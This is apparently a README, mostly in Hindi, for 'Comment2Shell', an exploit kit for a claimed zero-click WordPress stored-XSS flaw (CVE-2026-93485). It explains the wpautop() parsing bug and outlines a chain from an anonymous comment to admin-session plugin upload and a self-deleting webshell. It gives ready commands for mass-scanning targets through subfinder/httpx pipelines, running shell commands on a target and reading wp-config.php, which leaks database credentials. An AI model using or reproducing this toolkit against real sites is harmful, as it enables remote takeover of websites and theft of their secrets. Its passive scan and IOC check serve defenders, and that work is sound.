
Zero-click प्री-ऑथ WordPress CVE-2026-93485 एक्सप्लॉइट चेन: wpautop() में स्टोर्ड XSS, जो admin-session प्लगइन अपलोड और एक self-deleting webshell तक बढ़ता है, साथ में scanner, shell, और Nuclei template।
Comment2Shell, CVE-2026-93485 के लिए एक एंड-टू-एंड प्रूफ-ऑफ-कॉन्सेप्ट है, जो WordPress कोर wpautop() में एक प्री-ऑथेंटिकेशन स्टोर्ड XSS है जो एक एडमिनिस्ट्रेटर सत्र के भीतर रिमोट कोड एक्ज़ीक्यूशन तक बढ़ जाता है। एक अनाम टिप्पणी पेलोड को रोपित करती है; जब कोई एडमिन पोस्ट खोलता है, तो ब्राउज़र एक वेबशेल प्लगइन अपलोड करता है, एक कमांड चलाता है, और शेल को फिर से हटा देता है। पूरी चेन एक निर्भरता-मुक्त Python फ़ाइल है।
Comment2Shell, CVE-2026-93485 के लिए एक एक्सप्लॉइट और लोकल-लैब किट है। यह बग wp-includes/formatting.php में, wpautop() पैराग्राफ फ़िल्टर में मौजूद है जो टिप्पणी टेक्स्ट पर डिस्प्ले समय पर चलता है। blockquote cite एट्रिब्यूट के अंदर एक न्यूलाइन एक HTML कमेंट प्लेसहोल्डर बन जाती है; ब्लॉककोट्स को रैप करने वाला रेगेक्स पहले > पर रुक जाता है और एट्रिब्यूट के बीच में एक पैराग्राफ टैग इंजेक्ट कर देता है, जिसे ब्राउज़र फिर एक onfocus हैंडलर के रूप में पार्स करता है। autofocus एट्रिब्यूट इसे ज़ीरो-क्लिक पर ट्रिगर करता है।
यह टूल पूरी चेन को कवर करता है: एक पैसिव वर्ज़न स्कैन, एक बिनाइन XSS प्रोब, पूरा प्री-ऑथेंटिकेशन से RCE तक एक्सप्लॉइट, एक इंटरैक्टिव शेल, और एक डिफेंसिव IOC चेक।
एक्सप्लॉइट को किसी अकाउंट, किसी नॉन्स, और एडमिन द्वारा पोस्ट देखने के अलावा किसी इंटरैक्शन की आवश्यकता नहीं है। टिप्पणियाँ केवल खुली होनी चाहिए।
WordPress वेब के एक बड़े हिस्से को शक्ति प्रदान करता है और wpautop() कोर कोड है, इसलिए कमज़ोर फ़िल्टर थीम या प्लगइन की परवाह किए बिना हर प्रभावित इंस्टॉल पर मौजूद रहता है। यह XSS स्टोर्ड, प्री-ऑथेंटिकेशन, और ज़ीरो-क्लिक है। चूँकि यह एडमिन सत्र में निष्पादित होता है, यह एक डीफेसमेंट बग से अधिक है: एडमिन कुकी एक प्लगइन इंस्टॉल करने के लिए पर्याप्त है, और प्लगइन इंस्टॉल करना मनमाना कोड एक्ज़ीक्यूशन है।
यह फ़िक्स WordPress 7.1.1 में जारी किया गया था, जिसमें 25 शाखाओं में बैकपोर्ट्स थे, जो 4.7.36 तक नीचे तक थे। 4.7.0 से 7.1.0 तक का हर रिलीज़ प्रभावित है।
WordPress 7.1.0 के विरुद्ध नियंत्रित-लैब रन: एक अनाम टिप्पणी पेलोड को रोपित करती है, पोस्ट खोलने वाला एडमिन ज़ीरो-क्लिक चेन को ट्रिगर करता है, वेबशेल अपलोड होता है, कमांड आउटपुट वापस आता है, और शेल स्वयं को हटा देता है। ब्राउज़र टैब शीर्षक परिणाम की रिपोर्ट करता है, या तो Comment2Shell: shell uploaded या Comment2Shell: admin login required। सटीक प्रक्रिया के लिए docker/README.md देखें।
Comment2Shell इस दोष की खोज का दावा नहीं करता है। इसकी रिपोर्ट Rafie Muhammad (Awesome Motive) ने HackerOne WordPress प्रोग्राम के माध्यम से की थी और इसे 7.1.1 में ठीक किया गया था। यहाँ योगदान पूरी चेन का एक पुनरुत्पादनीय, निर्भरता-मुक्त कार्यान्वयन है:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Python 3.8+ केवल मानक लाइब्रेरी, बिना pip install के।
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
प्रत्येक परिणाम ऑब्जेक्ट में ये फ़ील्ड होते हैं:
| फ़ील्ड | अर्थ |
|---|---|
target | सामान्यीकृत लक्ष्य URL |
wordpress | true जब WordPress का पता चला हो |
version | पता लगाया गया संस्करण, या null |
version_method | संस्करण कैसे पाया गया, उदाहरण के लिए meta या readme |
vulnerable | true, false, या null जब संस्करण अज्ञात हो |
post_id | टिप्पणी-योग्य पोस्ट ID, या null |
error | एक त्रुटि स्ट्रिंग, या null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
एक्सप्लॉइट पेलोड पेज लोड होने पर
alert("Comment2Shell XSS - CVE-2026-93485")फायर करता है (autofocusके माध्यम से ज़ीरो-क्लिक)। एडमिन के रूप में लॉग इन रहते हुए पोस्ट देखें। सफल होने पर टैब का शीर्षकComment2Shell: shell uploadedहो जाता है, या यदि ब्राउज़र में कोई एडमिन सत्र नहीं है तोComment2Shell: admin login requiredहो जाता है।
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"